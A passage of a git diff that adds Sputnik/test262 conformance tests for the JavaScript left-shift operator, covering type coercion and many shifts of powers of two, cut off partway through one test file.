+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Null
+ */
+
+//CHECK#1
+if ("1" << null !== 1) {
+ $ERROR('#1: "1" << null === 1. Actual: ' + ("1" << null));
+}
+
+//CHECK#2
+if (null << "1" !== 0) {
+ $ERROR('#2: null << "1" === 0. Actual: ' + (null << "1"));
+}
+
+//CHECK#3
+if (new String("1") << null !== 1) {
+ $ERROR('#3: new String("1") << null === 1. Actual: ' + (new String("1") << null));
+}
+
+//CHECK#4
+if (null << new String("1") !== 0) {
+ $ERROR('#4: null << new String("1") === 0. Actual: ' + (null << new String("1")));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T2.8.js b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T2.8.js
new file mode 100644
index 000000000..6c0d3858d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T2.8.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x << y returns ToNumber(x) << ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.1/S11.7.1_A3_T2.8.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if (true << undefined !== 1) {
+ $ERROR('#1: true << undefined === 1. Actual: ' + (true << undefined));
+}
+
+//CHECK#2
+if (undefined << true !== 0) {
+ $ERROR('#2: undefined << true === 0. Actual: ' + (undefined << true));
+}
+
+//CHECK#3
+if (new Boolean(true) << undefined !== 1) {
+ $ERROR('#3: new Boolean(true) << undefined === 1. Actual: ' + (new Boolean(true) << undefined));
+}
+
+//CHECK#4
+if (undefined << new Boolean(true) !== 0) {
+ $ERROR('#4: undefined << new Boolean(true) === 0. Actual: ' + (undefined << new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T2.9.js b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T2.9.js
new file mode 100644
index 000000000..25935fea7
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T2.9.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x << y returns ToNumber(x) << ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.1/S11.7.1_A3_T2.9.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Null
+ */
+
+//CHECK#1
+if (true << null !== 1) {
+ $ERROR('#1: true << null === 1. Actual: ' + (true << null));
+}
+
+//CHECK#2
+if (null << true !== 0) {
+ $ERROR('#2: null << true === 0. Actual: ' + (null << true));
+}
+
+//CHECK#3
+if (new Boolean(true) << null !== 1) {
+ $ERROR('#3: new Boolean(true) << null === 1. Actual: ' + (new Boolean(true) << null));
+}
+
+//CHECK#4
+if (null << new Boolean(true) !== 0) {
+ $ERROR('#4: null << new Boolean(true) === 0. Actual: ' + (null << new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A4_T1.js b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A4_T1.js
new file mode 100644
index 000000000..6c2416dd9
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A4_T1.js
@@ -0,0 +1,2571 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check operator x << y in distinct points
+ *
+ * @path ch11/11.7/11.7.1/S11.7.1_A4_T1.js
+ * @description ShiftExpression = -2^n, n = 0...15
+ */
+
+//CHECK
+
+if (-1 << 0 !== -1) {
+ $ERROR('#1: -1 << 0 === -1. Actual: ' + (-1 << 0));
+}
+
+
+if (-2 << 0 !== -2) {
+ $ERROR('#2: -2 << 0 === -2. Actual: ' + (-2 << 0));
+}
+
+
+if (-4 << 0 !== -4) {
+ $ERROR('#3: -4 << 0 === -4. Actual: ' + (-4 << 0));
+}
+
+
+if (-8 << 0 !== -8) {
+ $ERROR('#4: -8 << 0 === -8. Actual: ' + (-8 << 0));
+}
+
+
+if (-16 << 0 !== -16) {
+ $ERROR('#5: -16 << 0 === -16. Actual: ' + (-16 << 0));
+}
+
+
+if (-32 << 0 !== -32) {
+ $ERROR('#6: -32 << 0 === -32. Actual: ' + (-32 << 0));
+}
+
+
+if (-64 << 0 !== -64) {
+ $ERROR('#7: -64 << 0 === -64. Actual: ' + (-64 << 0));
+}
+
+
+if (-128 << 0 !== -128) {
+ $ERROR('#8: -128 << 0 === -128. Actual: ' + (-128 << 0));
+}
+
+
+if (-256 << 0 !== -256) {
+ $ERROR('#9: -256 << 0 === -256. Actual: ' + (-256 << 0));
+}
+
+
+if (-512 << 0 !== -512) {
+ $ERROR('#10: -512 << 0 === -512. Actual: ' + (-512 << 0));
+}
+
+
+if (-1024 << 0 !== -1024) {
+ $ERROR('#11: -1024 << 0 === -1024. Actual: ' + (-1024 << 0));
+}
+
+
+if (-2048 << 0 !== -2048) {
+ $ERROR('#12: -2048 << 0 === -2048. Actual: ' + (-2048 << 0));
+}
+
+
+if (-4096 << 0 !== -4096) {
+ $ERROR('#13: -4096 << 0 === -4096. Actual: ' + (-4096 << 0));
+}
+
+
+if (-8192 << 0 !== -8192) {
+ $ERROR('#14: -8192 << 0 === -8192. Actual: ' + (-8192 << 0));
+}
+
+
+if (-16384 << 0 !== -16384) {
+ $ERROR('#15: -16384 << 0 === -16384. Actual: ' + (-16384 << 0));
+}
+
+
+if (-32768 << 0 !== -32768) {
+ $ERROR('#16: -32768 << 0 === -32768. Actual: ' + (-32768 << 0));
+}
+
+
+if (-65536 << 0 !== -65536) {
+ $ERROR('#17: -65536 << 0 === -65536. Actual: ' + (-65536 << 0));
+}
+
+
+if (-131072 << 0 !== -131072) {
+ $ERROR('#18: -131072 << 0 === -131072. Actual: ' + (-131072 << 0));
+}
+
+
+if (-262144 << 0 !== -262144) {
+ $ERROR('#19: -262144 << 0 === -262144. Actual: ' + (-262144 << 0));
+}
+
+
+if (-524288 << 0 !== -524288) {
+ $ERROR('#20: -524288 << 0 === -524288. Actual: ' + (-524288 << 0));
+}
+
+
+if (-1048576 << 0 !== -1048576) {
+ $ERROR('#21: -1048576 << 0 === -1048576. Actual: ' + (-1048576 << 0));
+}
+
+
+if (-2097152 << 0 !== -2097152) {
+ $ERROR('#22: -2097152 << 0 === -2097152. Actual: ' + (-2097152 << 0));
+}
+
+
+if (-4194304 << 0 !== -4194304) {
+ $ERROR('#23: -4194304 << 0 === -4194304. Actual: ' + (-4194304 << 0));
+}
+
+
+if (-8388608 << 0 !== -8388608) {
+ $ERROR('#24: -8388608 << 0 === -8388608. Actual: ' + (-8388608 << 0));
+}
+
+
+if (-16777216 << 0 !== -16777216) {
+ $ERROR('#25: -16777216 << 0 === -16777216. Actual: ' + (-16777216 << 0));
+}
+
+
+if (-33554432 << 0 !== -33554432) {
+ $ERROR('#26: -33554432 << 0 === -33554432. Actual: ' + (-33554432 << 0));
+}
+
+
+if (-67108864 << 0 !== -67108864) {
+ $ERROR('#27: -67108864 << 0 === -67108864. Actual: ' + (-67108864 << 0));
+}
+
+
+if (-134217728 << 0 !== -134217728) {
+ $ERROR('#28: -134217728 << 0 === -134217728. Actual: ' + (-134217728 << 0));
+}
+
+
+if (-268435456 << 0 !== -268435456) {
+ $ERROR('#29: -268435456 << 0 === -268435456. Actual: ' + (-268435456 << 0));
+}
+
+
+if (-536870912 << 0 !== -536870912) {
+ $ERROR('#30: -536870912 << 0 === -536870912. Actual: ' + (-536870912 << 0));
+}
+
+
+if (-1073741824 << 0 !== -1073741824) {
+ $ERROR('#31: -1073741824 << 0 === -1073741824. Actual: ' + (-1073741824 << 0));
+}
+
+
+if (-2147483648 << 0 !== -2147483648) {
+ $ERROR('#32: -2147483648 << 0 === -2147483648. Actual: ' + (-2147483648 << 0));
+}
+
+
+if (-1 << 1 !== -2) {
+ $ERROR('#33: -1 << 1 === -2. Actual: ' + (-1 << 1));
+}
+
+
+if (-2 << 1 !== -4) {
+ $ERROR('#34: -2 << 1 === -4. Actual: ' + (-2 << 1));
+}
+
+
+if (-4 << 1 !== -8) {
+ $ERROR('#35: -4 << 1 === -8. Actual: ' + (-4 << 1));
+}
+
+
+if (-8 << 1 !== -16) {
+ $ERROR('#36: -8 << 1 === -16. Actual: ' + (-8 << 1));
+}
+
+
+if (-16 << 1 !== -32) {
+ $ERROR('#37: -16 << 1 === -32. Actual: ' + (-16 << 1));
+}
+
+
+if (-32 << 1 !== -64) {
+ $ERROR('#38: -32 << 1 === -64. Actual: ' + (-32 << 1));
+}
+
+
+if (-64 << 1 !== -128) {
+ $ERROR('#39: -64 << 1 === -128. Actual: ' + (-64 << 1));
+}
+
+
+if (-128 << 1 !== -256) {
+ $ERROR('#40: -128 << 1 === -256. Actual: ' + (-128 << 1));
+}
+
+
+if (-256 << 1 !== -512) {
+ $ERROR('#41: -256 << 1 === -512. Actual: ' + (-256 << 1));
+}
+
+
+if (-512 << 1 !== -1024) {
+ $ERROR('#42: -512 << 1 === -1024. Actual: ' + (-512 << 1));
+}
+
+
+if (-1024 << 1 !== -2048) {
+ $ERROR('#43: -1024 << 1 === -2048. Actual: ' + (-1024 << 1));
+}
+
+
+if (-2048 << 1 !== -4096) {
+ $ERROR('#44: -2048 << 1 === -4096. Actual: ' + (-2048 << 1));
+}
+
+
+if (-4096 << 1 !== -8192) {
+ $ERROR('#45: -4096 << 1 === -8192. Actual: ' + (-4096 << 1));
+}
+
+
+if (-8192 << 1 !== -16384) {
+ $ERROR('#46: -8192 << 1 === -16384. Actual: ' + (-8192 << 1));
+}
+
+
+if (-16384 << 1 !== -32768) {
+ $ERROR('#47: -16384 << 1 === -32768. Actual: ' + (-16384 << 1));
+}
+
+
+if (-32768 << 1 !== -65536) {
+ $ERROR('#48: -32768 << 1 === -65536. Actual: ' + (-32768 << 1));
+}
+
+
+if (-65536 << 1 !== -131072) {
+ $ERROR('#49: -65536 << 1 === -131072. Actual: ' + (-65536 << 1));
+}
+
+
+if (-131072 << 1 !== -262144) {
+ $ERROR('#50: -131072 << 1 === -262144. Actual: ' + (-131072 << 1));
+}
+
+
+if (-262144 << 1 !== -524288) {
+ $ERROR('#51: -262144 << 1 === -524288. Actual: ' + (-262144 << 1));
+}
+
+
+if (-524288 << 1 !== -1048576) {
+ $ERROR('#52: -524288 << 1 === -1048576. Actual: ' + (-524288 << 1));
+}
+
+
+if (-1048576 << 1 !== -2097152) {
+ $ERROR('#53: -1048576 << 1 === -2097152. Actual: ' + (-1048576 << 1));
+}
+
+
+if (-2097152 << 1 !== -4194304) {
+ $ERROR('#54: -2097152 << 1 === -4194304. Actual: ' + (-2097152 << 1));
+}
+
+
+if (-4194304 << 1 !== -8388608) {
+ $ERROR('#55: -4194304 << 1 === -8388608. Actual: ' + (-4194304 << 1));
+}
+
+
+if (-8388608 << 1 !== -16777216) {
+ $ERROR('#56: -8388608 << 1 === -16777216. Actual: ' + (-8388608 << 1));
+}
+
+
+if (-16777216 << 1 !== -33554432) {
+ $ERROR('#57: -16777216 << 1 === -33554432. Actual: ' + (-16777216 << 1));
+}
+
+
+if (-33554432 << 1 !== -67108864) {
+ $ERROR('#58: -33554432 << 1 === -67108864. Actual: ' + (-33554432 << 1));
+}
+
+
+if (-67108864 << 1 !== -134217728) {
+ $ERROR('#59: -67108864 << 1 === -134217728. Actual: ' + (-67108864 << 1));
+}
+
+
+if (-134217728 << 1 !== -268435456) {
+ $ERROR('#60: -134217728 << 1 === -268435456. Actual: ' + (-134217728 << 1));
+}
+
+
+if (-268435456 << 1 !== -536870912) {
+ $ERROR('#61: -268435456 << 1 === -536870912. Actual: ' + (-268435456 << 1));
+}
+
+
+if (-536870912 << 1 !== -1073741824) {
+ $ERROR('#62: -536870912 << 1 === -1073741824. Actual: ' + (-536870912 << 1));
+}
+
+
+if (-1073741824 << 1 !== -2147483648) {
+ $ERROR('#63: -1073741824 << 1 === -2147483648. Actual: ' + (-1073741824 << 1));
+}
+
+
+if (-2147483648 << 1 !== 0) {
+ $ERROR('#64: -2147483648 << 1 === 0. Actual: ' + (-2147483648 << 1));
+}
+
+
+if (-1 << 2 !== -4) {
+ $ERROR('#65: -1 << 2 === -4. Actual: ' + (-1 << 2));
+}
+
+
+if (-2 << 2 !== -8) {
+ $ERROR('#66: -2 << 2 === -8. Actual: ' + (-2 << 2));
+}
+
+
+if (-4 << 2 !== -16) {
+ $ERROR('#67: -4 << 2 === -16. Actual: ' + (-4 << 2));
+}
+
+
+if (-8 << 2 !== -32) {
+ $ERROR('#68: -8 << 2 === -32. Actual: ' + (-8 << 2));
+}
+
+
+if (-16 << 2 !== -64) {
+ $ERROR('#69: -16 << 2 === -64. Actual: ' + (-16 << 2));
+}
+
+
+if (-32 << 2 !== -128) {
+ $ERROR('#70: -32 << 2 === -128. Actual: ' + (-32 << 2));
+}
+
+
+if (-64 << 2 !== -256) {
+ $ERROR('#71: -64 << 2 === -256. Actual: ' + (-64 << 2));
+}
+
+
+if (-128 << 2 !== -512) {
+ $ERROR('#72: -128 << 2 === -512. Actual: ' + (-128 << 2));
+}
+
+
+if (-256 << 2 !== -1024) {
+ $ERROR('#73: -256 << 2 === -1024. Actual: ' + (-256 << 2));
+}
+
+
+if (-512 << 2 !== -2048) {
+ $ERROR('#74: -512 << 2 === -2048. Actual: ' + (-512 << 2));
+}
+
+
+if (-1024 << 2 !== -4096) {
+ $ERROR('#75: -1024 << 2 === -4096. Actual: ' + (-1024 << 2));
+}
+
+
+if (-2048 << 2 !== -8192) {
+ $ERROR('#76: -2048 << 2 === -8192. Actual: ' + (-2048 << 2));
+}
+
+
+if (-4096 << 2 !== -16384) {
+ $ERROR('#77: -4096 << 2 === -16384. Actual: ' + (-4096 << 2));
+}
+
+
+if (-8192 << 2 !== -32768) {
+ $ERROR('#78: -8192 << 2 === -32768. Actual: ' + (-8192 << 2));
+}
+
+
+if (-16384 << 2 !== -65536) {
+ $ERROR('#79: -16384 << 2 === -65536. Actual: ' + (-16384 << 2));
+}
+
+
+if (-32768 << 2 !== -131072) {
+ $ERROR('#80: -32768 << 2 === -131072. Actual: ' + (-32768 << 2));
+}
+
+
+if (-65536 << 2 !== -262144) {
+ $ERROR('#81: -65536 << 2 === -262144. Actual: ' + (-65536 << 2));
+}
+
+
+if (-131072 << 2 !== -524288) {
+ $ERROR('#82: -131072 << 2 === -524288. Actual: ' + (-131072 << 2));
+}
+
+
+if (-262144 << 2 !== -1048576) {
+ $ERROR('#83: -262144 << 2 === -1048576. Actual: ' + (-262144 << 2));
+}
+
+
+if (-524288 << 2 !== -2097152) {
+ $ERROR('#84: -524288 << 2 === -2097152. Actual: ' + (-524288 << 2));
+}
+
+
+if (-1048576 << 2 !== -4194304) {
+ $ERROR('#85: -1048576 << 2 === -4194304. Actual: ' + (-1048576 << 2));
+}
+
+
+if (-2097152 << 2 !== -8388608) {
+ $ERROR('#86: -2097152 << 2 === -8388608. Actual: ' + (-2097152 << 2));
+}
+
+
+if (-4194304 << 2 !== -16777216) {
+ $ERROR('#87: -4194304 << 2 === -16777216. Actual: ' + (-4194304 << 2));
+}
+
+
+if (-8388608 << 2 !== -33554432) {
+ $ERROR('#88: -8388608 << 2 === -33554432. Actual: ' + (-8388608 << 2));
+}
+
+
+if (-16777216 << 2 !== -67108864) {
+ $ERROR('#89: -16777216 << 2 === -67108864. Actual: ' + (-16777216 << 2));
+}
+
+
+if (-33554432 << 2 !== -134217728) {
+ $ERROR('#90: -33554432 << 2 === -134217728. Actual: ' + (-33554432 << 2));
+}
+
+
+if (-67108864 << 2 !== -268435456) {
+ $ERROR('#91: -67108864 << 2 === -268435456. Actual: ' + (-67108864 << 2));
+}
+
+
+if (-134217728 << 2 !== -536870912) {
+ $ERROR('#92: -134217728 << 2 === -536870912. Actual: ' + (-134217728 << 2));
+}
+
+
+if (-268435456 << 2 !== -1073741824) {
+ $ERROR('#93: -268435456 << 2 === -1073741824. Actual: ' + (-268435456 << 2));
+}
+
+
+if (-536870912 << 2 !== -2147483648) {
+ $ERROR('#94: -536870912 << 2 === -2147483648. Actual: ' + (-536870912 << 2));
+}
+
+
+if (-1073741824 << 2 !== 0) {
+ $ERROR('#95: -1073741824 << 2 === 0. Actual: ' + (-1073741824 << 2));
+}
+
+
+if (-2147483648 << 2 !== 0) {
+ $ERROR('#96: -2147483648 << 2 === 0. Actual: ' + (-2147483648 << 2));
+}
+
+
+if (-1 << 3 !== -8) {
+ $ERROR('#97: -1 << 3 === -8. Actual: ' + (-1 << 3));
+}
+
+
+if (-2 << 3 !== -16) {
+ $ERROR('#98: -2 << 3 === -16. Actual: ' + (-2 << 3));
+}
+
+
+if (-4 << 3 !== -32) {
+ $ERROR('#99: -4 << 3 === -32. Actual: ' + (-4 << 3));
+}
+
+
+if (-8 << 3 !== -64) {
+ $ERROR('#100: -8 << 3 === -64. Actual: ' + (-8 << 3));
+}
+
+
+if (-16 << 3 !== -128) {
+ $ERROR('#101: -16 << 3 === -128. Actual: ' + (-16 << 3));
+}
+
+
+if (-32 << 3 !== -256) {
+ $ERROR('#102: -32 << 3 === -256. Actual: ' + (-32 << 3));
+}
+
+
+if (-64 << 3 !== -512) {
+ $ERROR('#103: -64 << 3 === -512. Actual: ' + (-64 << 3));
+}
+
+
+if (-128 << 3 !== -1024) {
+ $ERROR('#104: -128 << 3 === -1024. Actual: ' + (-128 << 3));
+}
+
+
+if (-256 << 3 !== -2048) {
+ $ERROR('#105: -256 << 3 === -2048. Actual: ' + (-256 << 3));
+}
+
+
+if (-512 << 3 !== -4096) {
+ $ERROR('#106: -512 << 3 === -4096. Actual: ' + (-512 << 3));
+}
+
+
+if (-1024 << 3 !== -8192) {
+ $ERROR('#107: -1024 << 3 === -8192. Actual: ' + (-1024 << 3));
+}
+
+
+if (-2048 << 3 !== -16384) {
+ $ERROR('#108: -2048 << 3 === -16384. Actual: ' + (-2048 << 3));
+}
+
+
+if (-4096 << 3 !== -32768) {
+ $ERROR('#109: -4096 << 3 === -32768. Actual: ' + (-4096 << 3));
+}
+
+
+if (-8192 << 3 !== -65536) {
+ $ERROR('#110: -8192 << 3 === -65536. Actual: ' + (-8192 << 3));
+}
+
+
+if (-16384 << 3 !== -131072) {
+ $ERROR('#111: -16384 << 3 === -131072. Actual: ' + (-16384 << 3));
+}
+
+
+if (-32768 << 3 !== -262144) {
+ $ERROR('#112: -32768 << 3 === -262144. Actual: ' + (-32768 << 3));
+}
+
+
+if (-65536 << 3 !== -524288) {
+ $ERROR('#113: -65536 << 3 === -524288. Actual: ' + (-65536 << 3));
+}
+
+
+if (-131072 << 3 !== -1048576) {
+ $ERROR('#114: -131072 << 3 === -1048576. Actual: ' + (-131072 << 3));
+}
+
+
+if (-262144 << 3 !== -2097152) {
+ $ERROR('#115: -262144 << 3 === -2097152. Actual: ' + (-262144 << 3));
+}
+
+
+if (-524288 << 3 !== -4194304) {
+ $ERROR('#116: -524288 << 3 === -4194304. Actual: ' + (-524288 << 3));
+}
+
+
+if (-1048576 << 3 !== -8388608) {
+ $ERROR('#117: -1048576 << 3 === -8388608. Actual: ' + (-1048576 << 3));
+}
+
+
+if (-2097152 << 3 !== -16777216) {
+ $ERROR('#118: -2097152 << 3 === -16777216. Actual: ' + (-2097152 << 3));
+}
+
+
+if (-4194304 << 3 !== -33554432) {
+ $ERROR('#119: -4194304 << 3 === -33554432. Actual: ' + (-4194304 << 3));
+}
+
+
+if (-8388608 << 3 !== -67108864) {
+ $ERROR('#120: -8388608 << 3 === -67108864. Actual: ' + (-8388608 << 3));
+}
+
+
+if (-16777216 << 3 !== -134217728) {
+ $ERROR('#121: -16777216 << 3 === -134217728. Actual: ' + (-16777216 << 3));
+}
+
+
+if (-33554432 << 3 !== -268435456) {
+ $ERROR('#122: -33554432 << 3 === -268435456. Actual: ' + (-33554432 << 3));
+}
+
+
+if (-67108864 << 3 !== -536870912) {
+ $ERROR('#123: -67108864 << 3 === -536870912. Actual: ' + (-67108864 << 3));
+}
+
+
+if (-134217728 << 3 !== -1073741824) {
+ $ERROR('#124: -134217728 << 3 === -1073741824. Actual: ' + (-134217728 << 3));
+}
+
+
+if (-268435456 << 3 !== -2147483648) {
+ $ERROR('#125: -268435456 << 3 === -2147483648. Actual: ' + (-268435456 << 3));
+}
+
+
+if (-536870912 << 3 !== 0) {
+ $ERROR('#126: -536870912 << 3 === 0. Actual: ' + (-536870912 << 3));
+}
+
+
+if (-1073741824 << 3 !== 0) {
+ $ERROR('#127: -1073741824 << 3 === 0. Actual: ' + (-1073741824 << 3));
+}
+
+
+if (-2147483648 << 3 !== 0) {
+ $ERROR('#128: -2147483648 << 3 === 0. Actual: ' + (-2147483648 << 3));
+}
+
+
+if (-1 << 4 !== -16) {
+ $ERROR('#129: -1 << 4 === -16. Actual: ' + (-1 << 4));
+}
+
+
+if (-2 << 4 !== -32) {
+ $ERROR('#130: -2 << 4 === -32. Actual: ' + (-2 << 4));
+}
+
+
+if (-4 << 4 !== -64) {
+ $ERROR('#131: -4 << 4 === -64. Actual: ' + (-4 << 4));
+}
+
+
+if (-8 << 4 !== -128) {
+ $ERROR('#132: -8 << 4 === -128. Actual: ' + (-8 << 4));
+}
+
+
+if (-16 << 4 !== -256) {
+ $ERROR('#133: -16 << 4 === -256. Actual: ' + (-16 << 4));
+}
+
+
+if (-32 << 4 !== -512) {
+ $ERROR('#134: -32 << 4 === -512. Actual: ' + (-32 << 4));
+}
+
+
+if (-64 << 4 !== -1024) {
+ $ERROR('#135: -64 << 4 === -1024. Actual: ' + (-64 << 4));
+}
+
+
+if (-128 << 4 !== -2048) {
+ $ERROR('#136: -128 << 4 === -2048. Actual: ' + (-128 << 4));
+}
+
+
+if (-256 << 4 !== -4096) {
+ $ERROR('#137: -256 << 4 === -4096. Actual: ' + (-256 << 4));
+}
+
+
+if (-512 << 4 !== -8192) {
+ $ERROR('#138: -512 << 4 === -8192. Actual: ' + (-512 << 4));
+}
+
+
+if (-1024 << 4 !== -16384) {
+ $ERROR('#139: -1024 << 4 === -16384. Actual: ' + (-1024 << 4));
+}
+
+
+if (-2048 << 4 !== -32768) {
+ $ERROR('#140: -2048 << 4 === -32768. Actual: ' + (-2048 << 4));
+}
+
+
+if (-4096 << 4 !== -65536) {
+ $ERROR('#141: -4096 << 4 === -65536. Actual: ' + (-4096 << 4));
+}
+
+
+if (-8192 << 4 !== -131072) {
+ $ERROR('#142: -8192 << 4 === -131072. Actual: ' + (-8192 << 4));
+}
+
+
+if (-16384 << 4 !== -262144) {
+ $ERROR('#143: -16384 << 4 === -262144. Actual: ' + (-16384 << 4));
+}
+
+
+if (-32768 << 4 !== -524288) {
+ $ERROR('#144: -32768 << 4 === -524288. Actual: ' + (-32768 << 4));
+}
+
+
+if (-65536 << 4 !== -1048576) {
+ $ERROR('#145: -65536 << 4 === -1048576. Actual: ' + (-65536 << 4));
+}
+
+
+if (-131072 << 4 !== -2097152) {
+ $ERROR('#146: -131072 << 4 === -2097152. Actual: ' + (-131072 << 4));
+}
+
+
+if (-262144 << 4 !== -4194304) {
+ $ERROR('#147: -262144 << 4 === -4194304. Actual: ' + (-262144 << 4));
+}
+
+
+if (-524288 << 4 !== -8388608) {
+ $ERROR('#148: -524288 << 4 === -8388608. Actual: ' + (-524288 << 4));
+}
+
+
+if (-1048576 << 4 !== -16777216) {
+ $ERROR('#149: -1048576 << 4 === -16777216. Actual: ' + (-1048576 << 4));
+}
+
+
+if (-2097152 << 4 !== -33554432) {
+ $ERROR('#150: -2097152 << 4 === -33554432. Actual: ' + (-2097152 << 4));
+}
+
+
+if (-4194304 << 4 !== -67108864) {
+ $ERROR('#151: -4194304 << 4 === -67108864. Actual: ' + (-4194304 << 4));
+}
+
+
+if (-8388608 << 4 !== -134217728) {
+ $ERROR('#152: -8388608 << 4 === -134217728. Actual: ' + (-8388608 << 4));
+}
+
+
+if (-16777216 << 4 !== -268435456) {
+ $ERROR('#153: -16777216 << 4 === -268435456. Actual: ' + (-16777216 << 4));
+}
+
+
+if (-33554432 << 4 !== -536870912) {
+ $ERROR('#154: -33554432 << 4 === -536870912. Actual: ' + (-33554432 << 4));
+}
+
+
+if (-67108864 << 4 !== -1073741824) {
+ $ERROR('#155: -67108864 << 4 === -1073741824. Actual: ' + (-67108864 << 4));
+}
+
+
+if (-134217728 << 4 !== -2147483648) {
+ $ERROR('#156: -134217728 << 4 === -2147483648. Actual: ' + (-134217728 << 4));
+}
+
+
+if (-268435456 << 4 !== 0) {
+ $ERROR('#157: -268435456 << 4 === 0. Actual: ' + (-268435456 << 4));
+}
+
+
+if (-536870912 << 4 !== 0) {
+ $ERROR('#158: -536870912 << 4 === 0. Actual: ' + (-536870912 << 4));
+}
+
+
+if (-1073741824 << 4 !== 0) {
+ $ERROR('#159: -1073741824 << 4 === 0. Actual: ' + (-1073741824 << 4));
+}
+
+
+if (-2147483648 << 4 !== 0) {
+ $ERROR('#160: -2147483648 << 4 === 0. Actual: ' + (-2147483648 << 4));
+}
+
+
+if (-1 << 5 !== -32) {
+ $ERROR('#161: -1 << 5 === -32. Actual: ' + (-1 << 5));
+}
+
+
+if (-2 << 5 !== -64) {
+ $ERROR('#162: -2 << 5 === -64. Actual: ' + (-2 << 5));
+}
+
+
+if (-4 << 5 !== -128) {
+ $ERROR('#163: -4 << 5 === -128. Actual: ' + (-4 << 5));
+}
+
+
+if (-8 << 5 !== -256) {
+ $ERROR('#164: -8 << 5 === -256. Actual: ' + (-8 << 5));
+}
+
+
+if (-16 << 5 !== -512) {
+ $ERROR('#165: -16 << 5 === -512. Actual: ' + (-16 << 5));
+}
+
+
+if (-32 << 5 !== -1024) {
+ $ERROR('#166: -32 << 5 === -1024. Actual: ' + (-32 << 5));
+}
+
+
+if (-64 << 5 !== -2048) {
+ $ERROR('#167: -64 << 5 === -2048. Actual: ' + (-64 << 5));
+}
+
+
+if (-128 << 5 !== -4096) {
+ $ERROR('#168: -128 << 5 === -4096. Actual: ' + (-128 << 5));
+}
+
+
+if (-256 << 5 !== -8192) {
+ $ERROR('#169: -256 << 5 === -8192. Actual: ' + (-256 << 5));
+}
+
+
+if (-512 << 5 !== -16384) {
+ $ERROR('#170: -512 << 5 === -16384. Actual: ' + (-512 << 5));
+}
+
+
+if (-1024 << 5 !== -32768) {
+ $ERROR('#171: -1024 << 5 === -32768. Actual: ' + (-1024 << 5));
+}
+
+
+if (-2048 << 5 !== -65536) {
+ $ERROR('#172: -2048 << 5 === -65536. Actual: ' + (-2048 << 5));
+}
+
+
+if (-4096 << 5 !== -131072) {
+ $ERROR('#173: -4096 << 5 === -131072. Actual: ' + (-4096 << 5));
+}
+
+
+if (-8192 << 5 !== -262144) {
+ $ERROR('#174: -8192 << 5 === -262144. Actual: ' + (-8192 << 5));
+}
+
+
+if (-16384 << 5 !== -524288) {
+ $ERROR('#175: -16384 << 5 === -524288. Actual: ' + (-16384 << 5));
+}
+
+
+if (-32768 << 5 !== -1048576) {
+ $ERROR('#176: -32768 << 5 === -1048576. Actual: ' + (-32768 << 5));
+}
+
+
+if (-65536 << 5 !== -2097152) {
+ $ERROR('#177: -65536 << 5 === -2097152. Actual: ' + (-65536 << 5));
+}
+
+
+if (-131072 << 5 !== -4194304) {
+ $ERROR('#178: -131072 << 5 === -4194304. Actual: ' + (-131072 << 5));
+}
+
+
+if (-262144 << 5 !== -8388608) {
+ $ERROR('#179: -262144 << 5 === -8388608. Actual: ' + (-262144 << 5));
+}
+
+
+if (-524288 << 5 !== -16777216) {
+ $ERROR('#180: -524288 << 5 === -16777216. Actual: ' + (-524288 << 5));
+}
+
+
+if (-1048576 << 5 !== -33554432) {
+ $ERROR('#181: -1048576 << 5 === -33554432. Actual: ' + (-1048576 << 5));
+}
+
+
+if (-2097152 << 5 !== -67108864) {
+ $ERROR('#182: -2097152 << 5 === -67108864. Actual: ' + (-2097152 << 5));
+}
+
+
+if (-4194304 << 5 !== -134217728) {
+ $ERROR('#183: -4194304 << 5 === -134217728. Actual: ' + (-4194304 << 5));
+}
+
+
+if (-8388608 << 5 !== -268435456) {
+ $ERROR('#184: -8388608 << 5 === -268435456. Actual: ' + (-8388608 << 5));
+}
+
+
+if (-16777216 << 5 !== -536870912) {
+ $ERROR('#185: -16777216 << 5 === -536870912. Actual: ' + (-16777216 << 5));
+}
+
+
+if (-33554432 << 5 !== -1073741824) {
+ $ERROR('#186: -33554432 << 5 === -1073741824. Actual: ' + (-33554432 << 5));
+}
+
+
+if (-67108864 << 5 !== -2147483648) {
+ $ERROR('#187: -67108864 << 5 === -2147483648. Actual: ' + (-67108864 << 5));
+}
+
+
+if (-134217728 << 5 !== 0) {
+ $ERROR('#188: -134217728 << 5 === 0. Actual: ' + (-134217728 << 5));
+}
+
+
+if (-268435456 << 5 !== 0) {
+ $ERROR('#189: -268435456 << 5 === 0. Actual: ' + (-268435456 << 5));
+}
+
+
+if (-536870912 << 5 !== 0) {
+ $ERROR('#190: -536870912 << 5 === 0. Actual: ' + (-536870912 << 5));
+}
+
+
+if (-1073741824 << 5 !== 0) {
+ $ERROR('#191: -1073741824 << 5 === 0. Actual: ' + (-1073741824 << 5));
+}
+
+
+if (-2147483648 << 5 !== 0) {
+ $ERROR('#192: -2147483648 << 5 === 0. Actual: ' + (-2147483648 << 5));
+}
+
+
+if (-1 << 6 !== -64) {
+ $ERROR('#193: -1 << 6 === -64. Actual: ' + (-1 << 6));
+}
+
+
+if (-2 << 6 !== -128) {
